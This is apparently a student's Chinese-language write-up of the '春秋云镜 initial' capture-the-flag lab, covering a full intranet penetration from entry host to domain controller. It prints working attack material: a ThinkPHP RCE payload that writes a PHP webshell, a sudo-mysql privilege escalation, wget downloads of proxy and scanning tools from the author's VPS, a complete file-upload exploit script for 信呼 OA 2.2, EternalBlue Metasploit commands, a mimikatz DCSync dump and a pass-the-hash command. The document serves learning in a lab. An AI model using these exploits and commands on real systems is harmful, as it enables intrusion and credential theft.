春秋云镜initial
入口机
访问给定的ip,发现了如下的界面.

我们访问到了一个错误的界面,发现是Thinkphp框架.使用ThinkphpRCE来进行攻击.

发现了漏洞,使用上面的payload,成功的执行了phpinfo的函数.
那么我们参照博客ThinkPHP 5.0.23 远程代码执行 漏洞复现_thinkphp5.0.23-rce漏洞复现-CSDN博客,像入口机写入木马.
通过get方法访问/index.php?s=captcha,然后post传参
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > shell.php
使用蚁剑进行连接/shell.php,密码为attack.
登录以后发现没有root权限,查看可以无密码执行的命令
sudo -l
发现可以免密码执行mysql,尝试提权
sudo mysql -e '\! /bin/bash'
然而并没有成功.然后尝试去执行一般的命令,成功了
sudo mysql -e '\! cat /root/flag/f*'
得到了第一段flag.flag{60b53231-
内网信息搜集
然后接下来需要配置代理.
在vps上启动服务,然后将客户端压缩包传输到入口机并部署服务.
vps:
python3 -m http.server
入口机:
wget http://123.57.23.40:8000/nps_client.tar
tar -xvf nps_client.tar
chmod 777 npc
./npc -server=123.57.23.40:8024 -vkey=8lwmthurrb31pz4j
查看nps web服务端发现已经成功的配置代理.
然后向入口机去传一个fscan去扫内网.
wget http://123.57.23.40:8000/fscan.tar
tar -xvf fscan.tar
chmod 777 fscan
./fscan -h 172.22.1.15/16
得到了如下结果
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.21 is alive

按理说还应该有其他更加详细的描述,然而我的没有,不知道为啥.
事后复盘:这里fscan的命令应该使用
./fscan -h 172.22.1.15/16 -no -nopoc
来防止模块过多时间过长,然后对于扫描出来的ip再进行全模块扫描.
我们将proxifier挂到火狐上,然后走代理成功访问内网.
内网渗透
172.22.1.2是DC域控,不知道是啥,先不管.
先去访问172.22.1.18看看

扔到whatweb中扫了一下什么也没有发现
proxychains whatweb -v http://172.22.1.18
弱密码爆破出用户名为admin,密码为admin123.
上网一搜这个信呼协同办公系统,第一条就是2.2版本的一个漏洞.找了一个exp,打一下试试
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
然后同目录放一个1.php文件马,运行脚本
proxychains python3 exp.py
得到了文件上传的路径
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 123.57.23.40:2333 ... 172.22.1.18:80 ... OK
<br />
<b>Notice</b>: Undefined offset: 1 in <b>C:\phpStudy\PHPTutorial\WWW\upload\2024-08\11_10205771.php</b> on line <b>1</b><br />
然后将蚁剑也添加到代理中

使用蚁剑连接,在C://Users/Administrator/flag/flag02.txt找到了第二段flag:2ce3-4813-87d4-
上面的洞的具体原理可以看信呼2.2版本文件上传漏洞信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE这两篇文章 ,核心问题就是文件上传后的扩展名修改问题
访问http://172.22.1.21/,失败了.网上说fscan能扫出来是永恒之蓝,打一打看看
按照永恒之蓝的流程去打
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
然后拿到了一个正向的shell,查看C://Users/Administrator,发现没有flag.说明flag不在这个机器上,那么就得在172.22.1.2.想到题目描述中的DCSync,了解到需要打DC域控器.

下面是一大段漫长的计网知识补习:
什么是本地,域,林?什么又是域控制器?
本地(Local)
本地指的是单台计算机或设备上的设置和资源。每台计算机都有自己的本地用户和组,这些用户和组只能在该计算机上进行管理和使用。
- 本地用户和组:这些用户和组仅在本地计算机上有效。例如,Administrators 组是一个本地组,包含具有完全控制本地计算机权限的用户。
- 本地资源:包括本地文件、文件夹、打印机等资源。
域(Domain)
域是 Active Directory 中的一个逻辑组,包含一组用户、计算机和其他资源。域是 Active Directory 的基本单位,提供集中管理和安全控制。
- 域控制器(DC):域内的服务器,负责管理和控制域内的资源和用户。域控制器提供身份验证、授权和目录服务。
- 域用户和组:这些用户和组在整个域内有效。例如,Domain Admins 组是一个域级别的组,包含具有管理整个域权限的用户。
- 域资源:包括域内的文件服务器、打印服务器、应用服务器等资源。
林(Forest)
林是 Active Directory 中的最高级别的逻辑结构,由一个或多个域组成。林提供跨域的管理和安全控制。
- 林根域(Forest Root Domain):林中的第一个域,通常是整个林的命名空间的根。
- 子域(Child Domain):林根域下的其他域,继承林根域的命名空间。
- 全局目录(Global Catalog):林中的一个或多个域控制器,存储林中所有对象的部分属性,提供跨域的查询和身份验证。
- 林信任(Forest Trust):林与林之间的信任关系,允许跨林的资源访问和身份验证。
更精确的描述
- 本地(Local):指单台计算机上的用户和资源管理。
- 域(Domain):指一个网络中的一组计算机和用户,集中管理和控制这些资源。
- 林(Forest):指多个域的集合,提供跨域的管理和安全控制。
示例
假设你在一个企业网络中,有一个 Active Directory 林 example.com,其中包含多个域和子域:
- 林(Forest):
example.com- 林根域(Forest Root Domain):
example.com - 子域(Child Domain):
sub.example.com
在这个林中,有多个域控制器和用户:
- 林根域(Forest Root Domain):
- 域控制器(DC):
dc1.example.com和dc2.example.com - 域用户和组:
user1@example.com和Domain Admins组 - 全局目录(Global Catalog):
gc1.example.com
接下来说一下什么是DCSync攻击.由于是一种很复杂的攻击,所以边做边学.DCSync攻击技术的利用
DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
由于我们刚才打永恒之蓝得到的直接就是管理员权限,因此可以直接打DCSync.
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
这个kiwi就是msf中的Mimikatz,我们通过上述命令可以得到域用户的用户名和密码(NTLM)的哈希.
xiaorang.lab是之前扫出来的林根域的域名

然后此时我们就得到了Domain Admins以及其哈希.
然后我们此时就可以打一个哈希横传.
介绍一下什么是哈希横传攻击
Pass The Hash 即PTH,也是内网渗透中较未常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的
在进入企业内网之后,如果是Windows PC或者服务器较多的环境,极有可能会使用到hash传递来进行内网的横传,现在企业内部一般对于口令强度均有一定的要求,抓取到本地hash后可能无法进行破解,同时从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,这时可以通过传递hash来进行横传。
适用场景:内网中大量主机密码相同。
hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口
这里使用哈希横传攻击,是因为获得了域的管理员的哈希.而一般情况下,域的管理员和用户会被添加为域服务器的管理员和用户.
在kali下使用命令
proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
对命令进行一定程度的解析:使用crackmapexec工具,指定了smb服务.-u指定用户,-H指定哈希值.-x执行命令.
成功获取到了最后一截flag:e8f88d0d43d6}
是第一进行内网渗透,在配代理的位置也耗费了很多时间,后面估计会快起来.由于刚结束大一,没学操作系统,尤其是计网的知识,所以对于很多网络概念没有认知.欠下了有关kerberos认证全过程,黄金,白银票据的知识,回头去看去学习.
共用时4小时36分,主要都用在配代理上了...


浙公网安备 33010602011771号